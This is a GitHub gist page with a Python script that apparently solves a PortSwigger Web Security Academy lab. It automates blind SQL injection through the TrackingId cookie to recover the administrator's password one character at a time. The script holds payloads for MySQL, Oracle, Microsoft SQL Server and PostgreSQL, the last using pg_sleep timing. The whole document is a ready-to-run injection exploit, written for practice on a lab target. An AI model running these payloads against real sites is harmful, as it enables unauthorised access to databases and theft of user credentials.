Skip to content

Instantly share code, notes, and snippets.

@y0d3n
Last active July 15, 2021 16:00
Show Gist options
  • Save y0d3n/ece4a25efedb0c9d46bb8ae3f981acd6 to your computer and use it in GitHub Desktop.
Save y0d3n/ece4a25efedb0c9d46bb8ae3f981acd6 to your computer and use it in GitHub Desktop.
import sys
import time
import requests
url = 'https://ac401f451e11facb80e02456000600bc.web-security-academy.net/'
abc = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-.$@!?}{'
passwd = ''
for i in range (len(passwd)+1, 100):
for j in range (0, len(abc)):
# mysql substring
#cookies = dict(TrackingId="' or (SELECT SUBSTRING(password,%s,1) FROM users WHERE username='administrator')='%s" % (i, abc[j]))
# Oracle div 0
# cookies = dict(TrackingId="'union SELECT CASE WHEN (username ='administrator' and substr(password,%s,1)='%s') THEN to_char(1/0) ELSE NULL END FROM users--" % (i, abc[j]))
# Microsoft substring
# cookies = dict(TrackingId="'union select 'a' from users where username ='administrator' and substring(password,%s,1)='%s'--" % (i, abc[j]))
# PostgreSQL sleep
cookies = dict(TrackingId="'" + '%3B'+ "SELECT CASE WHEN (username ='administrator' and substring(password,%s,1)='%s') THEN pg_sleep(5) ELSE NULL END from users--" % (i, abc[j]))
start = time.time()
r = requests.get(url, cookies=cookies)
# if 'Welcome' in r.text:
# if len(r.text) < 30:
if time.time() - start > 5:
passwd += abc[j]
print("\r" + passwd)
break
if j == len(abc)-1:
print(":flag:")
sys.exit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment